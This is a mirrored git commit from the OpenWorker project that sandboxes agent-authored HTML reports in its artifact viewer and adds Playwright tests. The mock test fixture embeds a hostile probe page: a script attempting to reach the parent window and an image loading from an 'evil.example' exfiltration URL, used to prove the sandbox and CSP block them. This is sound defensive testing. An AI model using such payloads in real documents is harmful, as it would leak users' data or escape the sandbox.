mirror of
https://github.com/andrewyng/openworker.git
synced 2026-09-03 04:49:26 +00:00
Artifact viewer: airtight sandbox for agent HTML + Open in browser (OPE-91)
Drop allow-same-origin (srcDoc ran the page same-origin with the privileged webview) and inject a no-network CSP so a poisoned report can't exfiltrate at display time. Inline script/style keep working; system browser is the escape hatch.
This commit is contained in:
@@ -0,0 +1,38 @@
|
||||
// OPE-91: agent-authored HTML renders in the artifact viewer inside an AIRTIGHT sandbox.
|
||||
// The app webview is privileged (Tauri IPC), so the report page must be null-origin
|
||||
// (no parent access) and offline (no subresource exfiltration) — while inline scripts,
|
||||
// the thing report interactivity needs, keep working. The fixture page actively probes
|
||||
// all three properties and reports into #probe.
|
||||
import { expect } from "@playwright/test";
|
||||
import { test } from "./fixtures";
|
||||
|
||||
async function openReport(page: import("@playwright/test").Page) {
|
||||
await page.goto("/");
|
||||
await page.getByPlaceholder(/Ask the coworker/).fill("hello");
|
||||
await page.getByRole("button", { name: "Send" }).click();
|
||||
await page.locator(".artifact-row", { hasText: "security-review.html" }).click();
|
||||
}
|
||||
|
||||
test("HTML artifact renders sandboxed: scripts run, parent and network stay sealed", async ({
|
||||
page,
|
||||
}) => {
|
||||
await openReport(page);
|
||||
const frame = page.getByTestId("artifact-frame");
|
||||
await expect(frame).toBeVisible();
|
||||
// No allow-same-origin, ever: with srcDoc it would run the page same-origin with the
|
||||
// privileged app webview. This assertion is the regression lock for that exact flag.
|
||||
await expect(frame).toHaveAttribute("sandbox", "allow-scripts");
|
||||
|
||||
const probe = page.frameLocator('[data-testid="artifact-frame"]').locator("#probe");
|
||||
await expect(probe).toContainText("script ran in sandbox"); // interactivity works
|
||||
await expect(probe).toContainText("parent blocked"); // null origin held
|
||||
await expect(probe).toContainText("network blocked"); // CSP stopped the exfil img
|
||||
await expect(page).not.toHaveTitle("ESCAPED");
|
||||
});
|
||||
|
||||
test("HTML artifact offers Open in browser as the unsandboxed escape hatch", async ({
|
||||
page,
|
||||
}) => {
|
||||
await openReport(page);
|
||||
await expect(page.getByTestId("artifact-open-browser")).toBeVisible();
|
||||
});
|
||||
@@ -863,6 +863,42 @@ export async function mockApi(page: import("@playwright/test").Page) {
|
||||
}
|
||||
return json({ roots });
|
||||
}
|
||||
// Artifacts (OPE-91): one HTML report whose content actively probes the sandbox —
|
||||
// an inline script that renders proof-of-execution, a parent-window escape attempt,
|
||||
// and an external subresource that must be CSP-blocked.
|
||||
if (/\/v1\/sessions\/[^/]+\/artifacts\/read$/.test(p)) {
|
||||
return json({
|
||||
ok: true,
|
||||
path: "reports/security-review.html",
|
||||
kind: "html",
|
||||
content: [
|
||||
"<h1>Security review</h1>",
|
||||
'<div id="probe">script did not run</div>',
|
||||
"<script>",
|
||||
' document.getElementById("probe").textContent = "script ran in sandbox";',
|
||||
" try { window.parent.document.title = 'ESCAPED'; } catch (e) {",
|
||||
' document.getElementById("probe").textContent += " · parent blocked";',
|
||||
" }",
|
||||
"</script>",
|
||||
'<img src="https://evil.example/exfil.png" onerror="document.getElementById(\'probe\').textContent += \' · network blocked\'">',
|
||||
].join("\n"),
|
||||
});
|
||||
}
|
||||
if (/\/v1\/sessions\/[^/]+\/artifacts\/reveal$/.test(p)) return json({ ok: true });
|
||||
if (/\/v1\/sessions\/[^/]+\/artifacts$/.test(p)) {
|
||||
return json({
|
||||
artifacts: [
|
||||
{
|
||||
path: "reports/security-review.html",
|
||||
abs_path: "/Users/test/OpenWorker/launch-note/reports/security-review.html",
|
||||
name: "security-review.html",
|
||||
kind: "html",
|
||||
size: 2048,
|
||||
modified_at: Math.floor(Date.now() / 1000) - 60,
|
||||
},
|
||||
],
|
||||
});
|
||||
}
|
||||
if (/\/v1\/sessions\/[^/]+\/messages$/.test(p)) return json({ messages: [] });
|
||||
if (/\/v1\/sessions\/[^/]+\/unattended$/.test(p)) {
|
||||
const id = decodeURIComponent(p.split("/").slice(-2)[0]);
|
||||
|
||||
@@ -294,6 +294,22 @@ function RailSection({
|
||||
);
|
||||
}
|
||||
|
||||
// OPE-91: agent-authored HTML is untrusted active content rendered inside the PRIVILEGED
|
||||
// app webview (Tauri IPC). The sandbox must therefore be airtight on two axes:
|
||||
// - no `allow-same-origin`: with srcDoc, that flag would run the page same-origin with
|
||||
// the app — scripts could reach the parent document and the IPC bridge.
|
||||
// - no network: a poisoned report exfiltrates at DISPLAY time via subresources
|
||||
// (<img src="https://evil/?leak=…">). The injected CSP allows inline style/script
|
||||
// (what report interactivity needs) and data: images; everything remote is blocked.
|
||||
// Injected at position 0 so it takes effect before any content the page declares.
|
||||
const ARTIFACT_CSP =
|
||||
'<meta http-equiv="Content-Security-Policy" content="default-src \'none\'; ' +
|
||||
"style-src 'unsafe-inline'; script-src 'unsafe-inline'; img-src data:;\">";
|
||||
|
||||
function sandboxHtml(html: string): string {
|
||||
return ARTIFACT_CSP + html;
|
||||
}
|
||||
|
||||
function ArtifactViewer({
|
||||
sessionId,
|
||||
artifact,
|
||||
@@ -349,6 +365,20 @@ function ArtifactViewer({
|
||||
<Icon name="panelOpen" size={16} />
|
||||
</button>
|
||||
)}
|
||||
{isHtml && (
|
||||
// The sandboxed preview is deliberately offline and null-origin; a real
|
||||
// browser tab (system default app, outside app privileges) is the escape
|
||||
// hatch for sharing or printing the page.
|
||||
<button
|
||||
className="artifact-icon-btn"
|
||||
data-testid="artifact-open-browser"
|
||||
onClick={() => revealArtifact(sessionId, artifact.path, "open")}
|
||||
aria-label="Open in browser"
|
||||
title="Open in browser"
|
||||
>
|
||||
<Icon name="panelOpen" size={16} />
|
||||
</button>
|
||||
)}
|
||||
{/* Copy the ABSOLUTE path — the workspace-relative one is useless outside the app
|
||||
(tester catch 2026-07-12: it copied just "slack-connector-debug.md"). */}
|
||||
<button
|
||||
@@ -377,9 +407,10 @@ function ArtifactViewer({
|
||||
) : content.kind === "html" ? (
|
||||
<iframe
|
||||
key={`${artifact.path}-${reloadKey}`}
|
||||
sandbox="allow-scripts allow-same-origin"
|
||||
sandbox="allow-scripts"
|
||||
className="artifact-frame"
|
||||
srcDoc={content.content || ""}
|
||||
data-testid="artifact-frame"
|
||||
srcDoc={sandboxHtml(content.content || "")}
|
||||
/>
|
||||
) : content.kind === "markdown" ? (
|
||||
<div className="artifact-md">
|
||||
|
||||
Reference in New Issue
Block a user